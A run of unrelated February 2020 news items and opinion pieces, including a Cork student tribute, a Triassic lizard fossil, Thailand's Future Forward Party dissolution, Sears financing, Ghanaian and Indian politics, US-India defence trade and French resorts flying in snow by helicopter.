management plan and is liaising with National Educational Psychological Service (NEPS), senior management at the Cork Education and Training Board and community gardai in Gurranabraher as they offer support to students, parents and teaching staff. We would like to thank them, members of the local community services and our staff members for their efforts in supporting our students and their families, it said. Staff and counselling personnel are currently on site at the school to offer support, advice and guidance to those who require the same. We would ask that the privacy of the families of the students involved in the accident be respected at this time. SuperStars stage school, where Kimberly spent years studying dancing and acting, also paid an emotional tribute to her alongside a moving video featuring photos of her through the years. "When you take pictures of the students or record them, you never think they will be used in memory of them," it said. They described Kimberly as the kindest person you could ever meet, whose heart was open to everyone. "If a new person was joining you could always count on Kim to take them under her wing. If the rest of the class stood back from an activity, Kim would confidently give a sigh and say ok ill go first, she was the energy of every class she was in," it said. "Talent came naturally to Kim but she was so humble, she would always root for the other person. "Kimberly was a star in every sense of the word. Beautiful inside and out. Kim will always be one of us. "We will miss her beyond belief and we will never forget her." Researchers have unearthed a new prehistoric reptile species which they claim to be an ancestor to modern-day lizards and snakes, a finding that sheds more light on the early evolution of four-legged creatures. The ancient lizard, called Vellbergia bartholomaei, is described in the journal Scientific Reports, and belongs to a group of reptiles called Lepidosauromorphs which is one of the largest and most diverse lineages of four-limbed animals with over 10,500 species. According to the researchers, including Tiago R Simoes from Harvard University in the US, lepidosauromorph specimens have only been found across a few sites with fossils from the Triassic era -- between 230 and 190 million years ago -- and their early evolution has remained unknown. Simoes and his colleagues discovered the small reptile fossil within deposits of Vellberg, Germany, and analyses suggested that the specimen is a previously unknown species of early lepidosauromorph. They said the specimen was one of the smallest found at the site, and may represent the first juvenile fossil collected at Vellberg. The study noted that V. bartholomaei differed from other lepidosauromorph species owing to its distinct characteristics such as narrow, slender and short teeth relative to the lower jaw. However, it said the ancient reptile shares a mosaic of features found in the predecessors of present-day lizards and tuataras. According to the scientists, the findings suggest that Vellbergia may be a common ancestor of the two lineages, furthering our understanding of early reptile evolution. They believe that the fossil implicates Vellberg as an important site for understanding early lepidosauromorph evolution. Due to poor fossil record of creatures from the early Triassic era, the researchers said, specimens from the Middle Triassic are important to understand how vertebrates recovered after the Permian-Triassic mass extinction event, which occurred around 252 million years ago and remains the Earth's most severe known extinction event. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Source: Xinhua| 2020-02-21 23:21:06|Editor: Mu Xuequan Video Player Close KIEV, Feb. 21 (Xinhua) -- Ukrainian Foreign Minister Vadym Prystaiko discussed the United Nation's (UN) role in resolving the conflict in eastern Ukraine with UN Secretary-General Antonio Guterres during a working visit to the UN headquarters in New York, Ukrainian Foreign Ministry's press service reported Friday. Prystaiko underlined the vital role the UN plays in providing humanitarian assistance to the Ukrainian civilians affected by the conflict, and in supporting the Ukrainian government's efforts to implement reforms and achieve its Sustainable Development Goals plan. "I'm sure that the UN can play an active role in other aspects ... in particular in the context of the possible deployment of a peacekeeping operation, as well as in the restoration and reintegration of the Ukrainian regions affected by the conflict," he said. Meanwhile, Guterres reassured the UN's further readiness to provide practical assistance to Ukraine in difficult times. The ongoing conflict between the Ukrainian government and pro-independence armed groups in eastern Ukraine broke out in April 2014. According to the UN, some 13,000 people have been killed in the conflict since then. Earlier this year, the UN Office in Ukraine presented a humanitarian response plan for the country totaling 158 million U.S. dollars to assist the two million most vulnerable civilians on both sides of the conflict. 1 of 1 , khaskhabar.com : , 21 2020 5:39 PM An ancient tomb thought to belong to Rome's founder Romulus was presented to the world on Friday, after months of investigation by history sleuths. The 6th century BC stone sarcophagus, with an accompanying circular altar, was discovered under the Forum in the heart of Italy's capital over a century ago -- but experts could not agree on whether or not it belonged to the fabled figure. According to legend, Romulus founded the city after killing his twin brother Remus. The brothers had been raised by a she-wolf -- the symbol of Rome shows them sucking at her teats -- but later fell out over where to build the new metropolis. Historians have long been divided not only over whether the pair actually existed, but if so where Romulus' body -- which was reportedly dismembered after his death by angry senators -- may have been buried. The tomb was found in the 19th century and was known to specialists at the time but was forgotten until new digs within the past year. The Colosseum Archaeological Park, which manages the Forum where the sarcophagus lies, said recent clues all pointed to it being the founder's tomb, in what it labelled an "extraordinary discovery". Still, archaeologists called for caution, saying it was impossible to scientifically confirm -- and no bones were found inside the sarcophagus. "It's only a suggestion based on ancient sources, all of which speak of the presence of the tomb of Romulus in this area of the Forum," Patrizia Fortini, who was charged with the dig, told AFP. "It's certainly an important monument. The shape of the chest reminds us of a memorial, a place of remembrance, but what it really was, we can't say." - 'Rome's political birth' - Romulus, made popular by writers such as Livy, Ovid and Plutarch, is said to have ploughed a square furrow around the Palatine Hill to demarcate the walls of the future city. When a mocking Remus hopped over the "wall" to prove how ineffective it would be against invaders, his brother killed him. A team of scientists carrying out a dig in the late 1980s discovered a long, deep gash marked by large stones, which they claimed was the "sacred furrow" ploughed by Romulus. Legend has it he went on to establish the Roman senate and rule as the city's first king for nearly 40 years, before disappearing into thin air one day while out inspecting his troops. Some versions of the tale have him taken up to heaven by the god of war but others have him brutally murdered by jealous senators, who tore him limb from limb and scattered his body parts across the city. There may have been no body to bury. In any case, Romulus acquired a cult following, making it more than plausible that the ancient city built a shrine to its beloved -- and possibly mythical -- founder. "Whether Romulus existed or not is not important," archaeologist Paolo Carafa told AFP. "What matters is that this figure is considered by the ancients to mark the political birth of the city." Source: Xinhua| 2020-02-21 18:44:15|Editor: xuxin Video Player Close Thailand's Future Forward Party Leader Thanathorn Juangroongruangkit (1st R) speaks to party members and supporters at their party's headquarters in Bangkok, Thailand, Feb. 21, 2020. Thailand's Future Forward Party was dissolved under Friday's ruling of the Constitutional Court pertaining to its money-lending controversy. (Xinhua/Rachen Sageamsak) BANGKOK, Feb. 21 (Xinhua) -- Thailand's Future Forward Party was dissolved under Friday's ruling of the Constitutional Court pertaining to its money-lending controversy. The Constitutional Court has considered the lending of 191.2 million baht (about 6.04 million U.S. dollars) provided by the Future Forward Party Leader Thanathorn Juangroongruangkit as the de facto reception by the dissolved party of donated money and not as a loan in normal business sense, which was thus concluded by the court as a breach to the 2017 constitution and political party law. No individuals are legally allowed to donate more than 10 million baht (about 316,155 U.S. dollars) to any political party. Most of the "loan" money was apparently used to finance last year's electoral campaign of the disbanded party. As a result of the dissolution of the Future Forward Party, all members of its executive board are banned from politics for a 10-year time from now. Besides, those members of the party's executive board are also prohibited from setting up or taking part in the setting up of a new political party in a 10-year time from now. Eleven Future Forward Party MPs who have earlier acted as members of the disbanded party's executive board have automatically lost their MP status due to the Constitutional Court's ruling. Those include the party's secretary general Piyabutr Saengkanokkul and the party's spokesperson Pannika Wanich, among others. Thanathorn was earlier stripped of his MP status under the Constitutional Court's ruling which found him guilty by law of holding a media firm's shares after he applied to run for MP in last year's general election. However, another 64 MPs of the dissolved party can legally join other parties in parliament to retain their MP status. Last month, the Future Forward Party survived a separate case lodged on grounds of acting as followers of the so-called Illuminati clique with intent to undermine the country's democratic rule with the monarch as head of state but the Constitutional Court dismissed such charges and lifted the case. A shopping cart sits in the parking lot of a Sears retail store on March 22, 2017 in Schaumburg, Illinois. Sears Holdings, the parent of Kmart and Sears, Roebuck, & Co., said there is "substantial doubt" about the company's financial viability. U.S. department store operator Sears has reached a deal for a fresh financial lifeline totaling roughly $100 million from hedge fund Brigade Capital Management, as it tries to stabilize after bankruptcy, people familiar with the matter said on Thursday. Sears' billionaire owner Eddie Lampert rescued the retailer from liquidation in a $5.2 billion takeover during bankruptcy proceedings a year ago. The company's unabated need for new funding underscores Lampert's challenges in turning it around. Sears reached an agreement with Brigade for the $100 million financing in recent weeks, according to the sources, who spoke on the condition they not be identified because the negotiations were confidential. Lampert has also bankrolled Sears in recent months, the sources added, without disclosing the total amount of funding he provided. A spokesman for Sears, now called Transform Holdco, declined to comment. Brigade did not respond to a request for comment. Brigade has extended loans to other troubled retailers, including high-fashion chain Barneys New York Inc and childrens' clothing shop Gymboree. Last year, Sears sold its DieHard car battery business to Advance Auto Parts for $200 million and clinched a separate $250 million loan from Lampert's hedge fund, ESL Investments, and other investors. The company has also been paying down some of its borrowings from banks, one of the sources said. Sears said in November it would close nearly 100 stores, leaving it with only about 182, down sharply from the 425 Lampert acquired when he rescued the chain from bankruptcy. The department store operator is a shadow of the company created by Lampert more than 15 years ago through its merger with Kmart, when it boasted $55 billion in annual sales. Sears lost money nearly every year over the past decade, amid competition from e-commerce firms such as Amazon.com, while Lampert, formerly the company's chairman and chief executive, provided financing lines to keep it afloat. The company's struggles have drained its cash coffers, risking a potential breach of its debt agreements with banks, people familiar with the matter have said. That has left Sears with the choice of raising additional capital or closing even more stores. The chief executive of Newry and Mourne Cooperative and Enterprise Agency (NMEA), Dr Conor Patterson has warned that crops will be not be harvested and patients will go without care because of the shortage of workers under proposed new immigration rules in the UK. There is already a labour shortage in Northern Ireland with hundreds of vacancies in healthcare, hospitality, agriculture and manufacturing he told RTE radios Morning Ireland. These sectors already rely on thousands of workers who are continental European citizens. There is a demand for their labour. Dr Patterson described the new immigration rules as very worrying with no guarantee of how they are going to work in practice. He pointed out that wages in Northern Ireland are significantly lower than in the remainder of the UK so the salary threshold in the new regulations will have a significant impact. There is political consensus that this just cannot work in Northern Ireland. There needs to be a special arrangement for Northern Ireland, he said. Dr Patterson also asked how the lower salary threshold will be policed and administered. He further expressed concern for how businesses are going to cope. Micheal Briody, chief executive of cross-border company Silver Hill Foods said that there is already a labour shortage in the border region. We are looking for farm workers on our duck farms, but we are struggling to fill the spots. Previously Ukrainian workers would have filled many of these posts, he said. Dr Patterson said that over the last 20 years an all-island labour market had emerged which was integrated. What was going to happen now, he asked. Well, well, well, what have we here? Whoopi Goldberg has taken Alexandria Ocasio-Cortez to the woodshed a second time, over her failure to pay respects, signaling that the feud is not over. According to Fox News: Rep. Alexandria Ocasio-Cortez, D-N.Y., attempted to quell "The View" co-host Whoopi Goldberg's concerns about her after Goldberg suggested that the congresswoman disrespected the influence of older Democratic women. "I was very happy when you were elected because I thought it was a great step ... and then you lost me," Goldberg told Ocasio-Cortez, "because it felt like you were saying to people like me that I was too old and didn't do enough." Ocasio-Cortez quickly jumped in to deny that, but Goldberg continued. "Well, that's what it sounded like and so that has bothered me because I feel like I love young people ... but you're on my shoulders." "Absolutely," Ocasio-Cortez responded. Goldberg added: "And we have carried this fight." She referred specifically to House Speaker Nancy Pelosi and Sen. Dianne Feinstein, both Democrats from California. It's the second time this has happened, and over the very same issue as the first: a feeling that Ocasio-Cortez doesn't offer respect to her elders, upon, as Whoopi says, whose shoulders she stands. It was strange stuff, because Ocasio-Cortez was nodding and bobbing instead of arguing...yet, in the view of Whoopi, clearly not getting it. That seemed to make her even madder, trying to explain it out and out. Or more to the point, Goldberg viewed the whole temporary deference thing on display from Ocasio-Cortez as bee ess, and actually, she wanted Ocasio-Cortez punished. Maybe that's related to another View scrap Ocasio-Cortez got into on the same show, with quasi-Republican Meghan McCain, who criticized her support for the Bernie Bros and their internet thuggery, with Goldberg cheering McCain on. According to The Federalist: "One thing that connects women on the left and women on the right ... is the abuse that we have all been subjected to by 'Bernie Bros.' It is by far, of anything I've ever done in my entire life, the most violent, the most misogynistic, the most sexist, the most harmful. ... [Sanders] has a real problem. And I don't think he's doing enough to tamper it down," McCain said. "How do you feel that he's attached to this deeply misogynistic, and I would go so far to say violent, sector of people?" Ocasio-Cortez agreed politicians must always reject hate and "denounce that kind of behavior" but then pivoted, blaming anonymous Twitter users. "I think that to a certain extent we have to always reject hate, reject vitriol," Ocasio-Cortez said. "We also know the amount of anonymous activity that happens on the internet, and that simply is difficult, it is difficult to control." Apparently, they'd all be sweet little daisies if Al Gore hadn't invented that internet for them. Message: She doesn't hear, she doesn't get. More to the point, Ocasio-Cortez will be darned if she criticizes the Bernie Bros. Like all of them, she just denies anything is happening. Notice, though, that Ocasio-Cortez was even more reluctant to admit any systemic wrongdoing from the Bernie thugs than she was to admit disrespect for the left's grand old Whoopi and her Democratic establishment. It's all fine and dandy to see leftists go after leftists on assorted slights, as this mess of an appearance has shown. In this case, it signals two things. One, Ocasio-Cortez is still no favorite with the Democratic establishment for her obvious disrespect, if not war with them, and the Democrats are circling. They should be; she's a big reason for the mess they're in now. The Democratic establishment did defer to Ocasio-Cortez's wish to impeach President Trump, despite House speaker Nancy Pelosi's initial reservations and now look where it's got them. There's got to be some blaming going on under those Whoopi calls for respect. And instead of fighting back, Ocasio-Cortez is trying to appease the old dragon and make nice with her. It's as if she's looking looking for allies. Two, it also explains her defense of the Bernie-ites goons against all evidence, saying nothing's going on, retreating into the Bernie thuggery, since there's nothing to gain from sucking up to McCain. She's on the defensive there, and again looking for allies. With 13 primary challengers so far, including even the old buzzard she beat earlier for her congressional seat, Joe Crowley, making noises about wanting into that race, too, it suggests she's in more political trouble than she's letting on. Image credit: Shareable ABC News video via Fox News, screen shot. UTICA, N.Y. The Amerian Red Cross is eliminating its Mohawk Valley Chapter, and adding the covered counties into existing divisions. Starting in April, Oneida and Herkimer counties will be included in the Central and Northern New York Chapter, while Delaware and Otsego counties will join the Southern Tier Chapter. Red Cross officials say blood donation locations will remain the same, and there will still be an office located at the Utica Business Park. There is not yet an executive director for the Central and Norther New York Chapter, which serves eight counties. Central Group's retail arm has 133 outlets in Vietnam, generating 17 per cent of its revenue Thailand's retail conglomerate Central Group plans to expand business operations in Southeast Asia through its subsidiary Central Retail Corporation. Discussing these plans, CEO of Central Retail Corporation Yol Phokasub told Nikkei Asian Review that Vietnam and Thailand are the company's focus markets after its record IPO of $8.1 billion in Thailand. Central Retail has been growing its department store business. As of last September, Central Retail operated 1,922 stores in Thailand, 133 in Vietnam, and nine in Italy. In addition to groceries and supermarkets, the group also manages a series of sporting goods, housewares, and electronics stores. At present, 75 per cent of Centrail Retail's revenue comes from Thailand, 17 per cent from Vietnam, and 7-8 per cent from Italy. "In five years, Vietnam's contribution will rise to 25 per cent," said the corporation's CEO. Central Retail's raised $2.42 billion through its IPO, the largest ever in the Thai stock market. The prospectus suggested the proceeds will be used to expand and renovate its domestic and international store networks. Central Group Vietnam is a member of Central Group, which has been present in Vietnam since July 2011. The group's business activities in Vietnam range from electronics, sports, fashion, shopping centres, and hotels to e-commerce and supermarkets. The group made headlines in Vietnam with its acquisition of a chain of 33 supermarkets and hypermarkets owned by Big C for $1.05 billion in April 2016, and electronics chain Nguyen Kim in 2015. Shares of Central Retail ended at $1.33 at its debut on the Stock Exchange of Thailand on February 20, equivalent to a market capitalisation of $8.1 billion, making it the 13th-largest company on the exchange. I remember the excited trips as a child to the top of Merseyside County Museums in Liverpool to visit the planetarium. You could never tire of such a place. These days the same building is trendily renamed for the 21st century as World Museum and the planetarium is still there, amazing young and old alike. So the recent decision to try to build a planetarium in Malaga immediately caught my eye. Here is a city that too has accumulated a fair share of worldly recognition in recent years, now ranked behind only Madrid, Barcelona and Bilbao in Spain for the strength of its cultural offer. What better addition to the Costa del Sol than an attraction grounded in knowledge and exploration to get future generations hooked on wonder and science. And especially in this age when our own planet is apparently under so much threat. Needless to say, the local council are getting fully behind it. Where should the new planetarium be built you ask? An emblematic plot of land on the edge of the city centre? A brownfield site that could do with a new lease of life? Or alongside a school or university? Perfect, but alas that is not to be. The planetarium would be crammed into a small plot of virgin land beyond the airport, right next-door to Ikea. An incessant swirl of traffic moves past the site; cars crammed with flat packs in the back and the odd Drive-Thru McDonalds meal on the dashboard. A place of infinite universal aspirations having to sit next to such disposable neighbours. Presumably the content of its shows would serve to worry us about the delicate position of Earth, so does nobody see the irony that almost everyone would have to arrive by polluting car in order to be told that? There is something also very ironic about this site. It is big bang opposite a much-vaunted new major park for the Costa del Sol, the Campamento Benitez that this newspaper has written often about. This is a paradise of rolling lawns, well-tended woods, a beautiful lake and an attraction well done. But wait, erase that image - the park is a complete mess. Go and visit it and you will see it overgrown, badly cared-for, the lake embarrassingly started but not finished. It is, so far, a costly, bungled project and a failure of public authorities. How many light years is it before local politicians learn that to do our bit for Earth, you need to finish and use well what you have started first? Only then can you move on to the star-gazing promises of the next twinkling project to concrete over a bit more of the Costa. Namibia has become the first African country to export red meat to the United States, following nearly two decades of negotiations. Were able to finally export meat to the lucrative and big US market, Namibias minister of international relations, Netumbo Nandi-Ndaitwah, said. The state-owned meat firm Meatco sent a shipment of 25 tons of beef to Philadelphia on Wednesday. The country is set to export 860 tons of various beef cuts in 2020 to the United States, rising to 5,000 tons by 2025. Namibias first commercial consignment came after samples were sent to US laboratories for tests. Despite objections raised by US-based individuals and trade organizations during a comment period in late 2015, the US Food Safety and Inspection Service determined that Namibia has the appropriate procedures and measures in place to ensure standards are maintained. The United States is the worlds biggest red meat consumer as Americans consume on average 120 kgs of meat per person, according to the US Department of Agriculture (USDA). Namibia will benefit economically from tapping into the largest consumer market with purchasing power of $13 trillion, and US consumers will benefit from access to Namibias high-quality, free-range, grass-fed beef, American ambassador to Namibia, Lisa Johnson, said. In 2019, Namibia exported about 12,400 tons of meat to Norway, Britain, the European Union and China. An 'intoxicated' homeless man has been arrested after a student was sexually assaulted in her bed as she slept when an attacker broke into her home in Malibu. Matthew Fairchild, 34, was arrested on Wednesday morning after surveillance footage released this week led to him being identified as a suspect. Fairchild, who is homeless and may have been intoxicated, is accused of entering the victim's gated condominium complex before breaking into her home at about 3.45am on February 8. The Pepperdine University student, in her 20s, woke up to find she was being sexually assaulted in her bed. A fellow tenant in the building said the man told the terrified victim: 'I'm drunk, I need help,' before running out the door, according to CBSN Los Angeles . Matthew Fairchild, 34, has arrested been arrested and held on a $1million bond after surveillance footage released this week led to him being identified as a suspect The victim lived in the 23900 block of Civic Center Way, which is predominantly rented by students. Fellow tenants voiced their shock at the crime and fears over their safety The attacker managed to enter the gated complex in California and then walked into the victim's apartment through an unlocked door, according to police. He apologized to her and then fled the building, the Los Angeles County Sheriff's Department said. Erika Hoang, who knows the victim and lives in the block, told the KTLA: 'She was terrified. You want to feel safe wherever you're living. The 19100 Block of Pacific Coast Highway is near Pepperdine University and predominantly rented by students. The victim is a student at Pepperdine University in her 20s and was living near by in Malibu, California Another tenant, Emily Cunningham, said: 'It's terrifying - especially being a girl and living with girls. 'There's cameras all over so I'm shocked that it happened.' Jefferson Wagner, a Malibu City council member who also lives at the complex, said the victim was 'okay physically', KTLA reported. He said that the fence to the complex and been cut. Fairchild was held on $1million bail on suspicion of assault with intent to commit a sex crime. Source: Xinhua| 2020-02-21 21:20:44|Editor: xuxin Video Player Close ISTANBUL, Feb. 21 (Xinhua) -- Turkish President Recep Tayyip Erdogan on Friday discussed the Syrian issue and the crisis in Libya with French President Emmanuel Macron and German Chancellor Angela Merkel in a joint phone call, local media reported. According to the state-run Anadolu Agency, Erdogan said in the phone call that the "aggression" of the Syrian government and its supporters in Idlib province should be stopped. On Thursday, two Turkish soldiers were killed and five others were wounded in Idlib as a result of an airstrike, Turkish Defense Ministry announced. In the past two weeks, 13 Turkish military personnel were killed during Syrian government forces' attacks in Idlib. Erdogan also urged Macron and Merkel for more cooperation to establish peace, prosperity, and stability in Libya, according to the report. The Turkish leader received Fayez al-Serraj, head of the Government of National Accord (GNA), at the Dolmabahce Palace in Istanbul on Thursday. The North African country has been torn by a raging civil war, between the GNA based in the capital Tripoli and the Libyan National Army with its allies based in the eastern part of the country. With hopes of flipping a seat held by a high-profile Republican, the question of electability will be a top priority for Democratic voters in the March 3 primary for House District 2. That would make Houston lawyer, political activist and former Beto ORourke adviser Sima Ladjevardian the logical choice. A late entry in the race, filing just hours before the Dec. 9 deadline, Ladjevardian still reported the most money raised and cash on hand at the end of the year. She also has the best potential for raising the cash needed for the Nov. 3 election face-off with incumbent Dan Crenshaw, who is unopposed in the Republican primary. National pollsters and analysts put the race in the likely Republican category, but Crenshaws 53 percent vote in 2018 suggests he is not invulnerable. The other Democratic challengers are Elisa Cardnell, a Navy veteran, a single mom and high school math and physics teacher, and Travis Olsen, who resigned his job with the Department of Homeland Security last year in protest of the administrations family separation policy and other immigration issues. Cardnell argues that her two years of service on a Navy destroyer, including deployment to the Persian Gulf, will help counteract Crenshaws compelling biography of a Navy Seal severely injured by the detonation of an improvised explosive device in Afghanistan. Olsen can claim credit for courageously standing up for his principles and the rights of others, a rare occurrence in todays politics. But in a Democratic field in which the candidates mostly agree on the issues, it is Ladjevardians fund-raising and coalition-building strengths that stand out, revealed most recently in ORourkes 2018 Senate campaign. I ran Betos campaign on the ground in the Senate race, Ladjevardian, 54, said. I have name identity within the communities so I am able to mobilize people very fast. And thats what we will need to beat Dan Crenshaw. Ladjevardians family fled Iran during the Iranian Revolution of the late 1970s. She has spent the past 30 years in Houston as an activist for progressive causes and candidates. Democratic voters should give her the chance to challenge the incumbent. Member of Parliament for Ningo Prampram, Sam Nartey George has taken a swipe at President Akufo-Addo for what he believes is governments unreasonable arbitrary use of power and control. His criticism was in defence of the Minoritys boycott of the 2020 State of Nation Address on Thursday. The Minority staged a walkout shortly after President Nana Addo Dankwa Akufo-Addo took his seat in Parliament. The caucus cited the insistence to compile a new voters register ahead of the upcoming general elections, governments rejection of most recommendations made by the Emile Short Commission on the Ayawaso West Wuogon by-election and the closure of some radio stations as some of the reasons for the boycott. Although the Majority had described the action as baseless and disgraceful, Sam Goerge is convinced that their action was absolutely in order. On Eyewitness News, he lashed out at President Akufo-Addo and described him as a modern-day Nebuchadnezzar [a king who at a point refused to heed to good counsel as captured in the Bible]. Sam George who was also a former Presidential staffer further cautioned President Akufo-Addo that they will at all time resist his oppressive rule. The reality is the reality. This decision was the collective decision of the NDC. There was no different opinion. It was a unanimous decision because we cannot sit in a country where there are despotism and tyranny. We are the representatives of the Ghanaian people and the Ghanaian people have been speaking to the President for close to six months but his recalcitrant and tyrannical and despotic position has made him turn a deaf ear. The President has become a modern-day King Nebuchadnezzar. We cannot allow this to continue and we will speak the truth to the people, the Ningo Prampram legislator said. Sam George also advised all those who have written off the National Democratic Congress (NDC) ahead of the 2020 parliamentary and presidential elections to have a change of mind as the party prepares to take over from the NPP. Those who say the NDC will not come to power the NDC shall rise to power on the 7th of December and John Dramani Mahama will be sworn into office on the 7th of January 2021, he insisted. Nana Addos fascist and authoritarian tendencies The Minority members who left Parliament shortly after President Nana Akufo-Addo assumed his seat said they took the decision because government had refused to implement recommendations made by the Emile Short Commission on the Ayawaso West Wuogon by-election violence, alleged interference in the activities of the Electoral Commission in the compilation of a new voters' register and the perceived attack of businesses owned by NDC members. Addressing the press in Parliament on Thursday, February 20, 2020, the Minority Leader, Haruna Iddrisu said: Sadly, matters are totally out of control. The democracy we all toiled and sacrificed to establish is now threatened by the highhandedness of President Akufo-Addo. The man who in opposition styled himself as a champion democrat has turned out to be a nightmare and an existential threat to our fledgeling democracy. We continue to witness heightened impunity from officialdom. ---citinewsroom A young woman who raised pro- Pakistan slogans at an anti-CAA rally last evening has been booked for and remanded to judicial custody, police said on Friday. Karnataka Chief Minister B S Yediyurappa said the woman had links with Naxals. In a related development, security was provided at the home of the woman, Amulya Leona, in Chikkamagaluru district, after it was attacked, allegedly by right wing workers. Officials said some people had targeted her home on Thursday evening and the window panes were damaged. Amulya had raised "Pakistan Zindabad" slogans thrice after the organisers, under the banner of "Save the Constitution", invited her to address the gathering in the presence of All India Majlis-e-Ittehadul Muslimeen (AIMIM) chief Asaduddin Owaisi, on Thursday. After being removed from the stage, she was arrested on charges of and produced before a magistrate's court, which remanded her to 14 days judicial custody. Her father Wazi also called for action against her as per the law, saying she has made an "unforgiveable mistake." On Friday, Yeddiyurappa said: "Importantly, the organisations that are behind people like Amulya and nurturing them, if we don't take action against such organisations, such things won't end." Speaking to reporters in Mysuru, he said prima facie it was clear there was an conspiracy going on to disturb law and order with such incidents. "If organisations that are behind her are inquired into, things will come out. It is clear she had links with Naxals in the past. In this backdrop, she should be punished and action taken against organisations that are behind her," he said. The Chief Minister noted that the girl's father himself has said she should be punished and not get bail and that he would not seek protection for her. City Police Commissioner Bhaskar Rao said "making a statement somewhere is different, but calling someone for a stage event and for them to make divisive comments, is it right?" Action would be taken against the organisers, he said, adding that those calling people for such events should take responsibility and them playing a 'drama' about their non- involvement in such incidents, is not acceptable. "Because the matter is so sensitive, anything can happen any time," he said. "We have been trying to maintain peace for three months in that it has become a competition to create a law and order situation," he added. Home Minister Basavaraj Bommai said all angles, including the woman's posts on Facebook, would be looked into, including if any organisation was behind her. "Let's look into what comes out of the investigation and accordingly action will be taken..." he said, as he hit out at the opposition for "supporting" such elements and asked them to function responsibly. Amulya's father Wazi said action should be taken against her in accordance with law, so that she corrects herself. "It is an unforgivable mistake, she has caused pain to Indians.I'm deeply disturbed....action should be taken against her in accordance with law. She is around 19, we will have to find out why she said it and who is behind it," he said. "She is a bright girl....I have tried to tell her not to involve herself in such activities after I got to know she was involving in anti-CAA, anti-NRC protests and complete her education first," he said. Meanwhile, a video of a group of people, allegedly right wing activists, last evening, purportedly questioning Wazi about his daughter's conduct and making him raise "Bharat Mata ki Jai" slogans has gone viral. On the other hand a purported Facebook post of Amulya on February 16 has surfaced in which she has said 'Zindabad' to several neighbouring countries and that doing so does not make her belong to them. "Hindustan Zindabad, Pakistan Zindabad, Bangladesh Zindabad, Sri Lanka Zindabad, Nepal Zindabad, Afghanistan Zindabad, China Zindabad, Nepal Zindabad... whichever country it may be,Zindabad to all countries,"said the post in Kannada. Some people who are said to be Amulya's friends have claimed she was about to raise Zindabad slogans naming various countries as mentioned in the Facebook post before she was stopped by people around her on the stage. However, others rejected such claims, pointing out that she had said Pakistan Zindabad thrice. Several organisations staged protests in the city on Friday against the incident. Tour operators expect losses of roughly $43.7 million for January and February and fear that could climb to more than $468 million if the ban is not lifted until summer, the Association of Tour Operators of Russia told the Interfax news agency. The groups director has said it intends to ask for compensation from the government. Growing defence trade between India and the US has strengthened the relationship between the two countries, a top American expert has said, noting that much remains to be done for cooperation in this sector to reach its full potential. In October, the Pentagon said the bilateral defence trade between the two countries is expected to reach $18 billion by the year end. "Bilateral defence trade, essentially zero in 2008, will reach an estimated $18 billion later this year," Undersecretary Of Defense For Acquisition And Sustainment Ellen M Lord had told reporters head of the ninth India-US Defence Technologies and Trade Initiative or DTTI group meeting in New Delhi. "The growing US-Indian defence trade has also strengthened the relationship between the two countries. India was once overly dependent on Russia for defence procurement, but in recent years, it has begun to purchase more high-tech defence goods from US suppliers," said Ashley J Tellis, who holds the Tata Chair for Strategic Affairs and is a Senior Fellow at the Carnegie Endowment for Peace. Writing in the Foreign Affairs magazine, Tellis in his column titled 'The Surprising Success of the US-Indian Partnership: Trump and Modi Have Deepened Defence Cooperation Against the Odds' said that although India can't accede to Trump's demand that it sever defence ties with Russia entirely, it has managed to become an important market for advanced American weapons. "Currently, India hopes to purchase US antisubmarine and antitank warfare helicopters, advanced surface-to-air missiles, naval guns, unmanned aerial vehicles, and long-range maritime patrol aircraft. Deals for some of these may be announced during Trump's visit next week," Tellis wrote on Thursday. Observing that the defence trade between the two countries is not without limits, he said weapons systems used to operate independently, making India's traditional a la carte approach to arms acquisition sustainable. The Indian defense inventory could, for example, consist of French fighter jets, Russian surface-to-air missiles, Israeli unmanned aerial vehicles, and European radars, he said. But in an era of networked warfare, the United States and European nations (and private suppliers) balk at integrating their systems with those provided by strategic rivals, such as Russia. Such considerations will either limit India's acquisition choices or compel it to settle for incomplete integration, forgoing the benefits of fully networked military systems, Tellis said. "India's desire for defence-trade autonomy, in other words, is beginning to collide with the emerging realities of information-age warfare," he wrote. India is not a US ally, but New Delhi has nonetheless moved proactively to pursue military activities that both advance its own interests vis-a-vis China and hold out the promise of reducing the burdens borne by US forces in the event of future crises or wars in India's extended neighbourhood, he adde "For all the progress of recent years, much remains to be done for US-Indian defence cooperation to reach its full potential," Tellis said. For starters, the Modi government needs to jump-start the flagging Indian economy, he said. Slowing growth bodes ill for India's capacity to modernise its military fast enough to both balance out China's growing power in its neighbourhood and expand defence trade with the United States. "India's woeful defence-procurement system also needs to be reformed. New Delhi treats defence acquisition as industrial and employment policy rather than as a mechanism for obtaining the military equipment its armed services need for operational success," he said. The Indian military also needs to change its mindset from a frontier defence force to an expeditionary one capable of projecting power beyond the subcontinent, he said, adding that although it is competent and professional, it is still highly conservative. Its technology, doctrine, and tactics are all driven mainly by the need to defend India's borders with China and Pakistan making it a less capable US partner when it comes to providing security across the wider Indo-Pacific, he wrote. "More than anything else, however, the future of the US-Indian defence relationship hinges on India's ability to maintain prosperity, stability, and social cohesion at home. "An India that is distracted by internal strife, domestic cleavages, and corrosive ideological confrontations will be unable to either grow rapidly or modernise its military fast enough to project power beyond the Indian subcontinent," Tellis said. A mountain resort in France has been forced to helicopter in snow in order to keep its ski hills open after unusually warm temperatures led to a shortage of snow this winter. The Superbagneres resort, located in the Pyrenees mountains near the countrys border with Spain, had the snow delivered so that it could be operational during the upcoming school holidays, CNN reported this week. A resort in the French Alps reportedly did the same, The Local France reported, with one of the snow deliveries taking three hours and 400 litres of fuel to complete. While average temperatures in the region in February are around 43 degrees Fahrenheit, this winter has seen temperatures rise over 50 degrees, according to CNN, which is too warm to create artificial snow with machines. Frances environmental minister Elisabeth Borne criticized the move to bring in snow, however, saying that it was only adding to the climate change that had caused the issue in the first place. Snow being brought into Superbagneres | Anne-Christine POUJOULAT/Getty Images RELATED: Greta Thunberg Says Discussing Climate Change with Donald Trump Wouldve Wasted My Time Snowing ski resorts by helicopter is not possible, Borne said on Sunday, The Local France reported. We can not have stations that are victims of climate change, that have no more snow and, at the same time, contribute to aggravating climate change. Borne was to hold a crisis meeting with ski resort managers to discuss the problem in Paris on Thursday, the outlet said. Snow being brought into Superbagneres | Anne-Christine POUJOULAT/Getty Images RELATED: Jeff Bezos, the Worlds Richest Man, Pledges $10 Billion to Fight Climate Change Yet Herve Pouanu, who is the director of the council in the southwest of France that decided to bring in snow for the Superbagneres, defended the decision. Were not going to cover the whole resort in snow, Pouanu said, according to Travel and Leisure. Otherwise, we would have to close a large part of the areaas our beginner slopes and ski schools are at their busiest during the holidays. 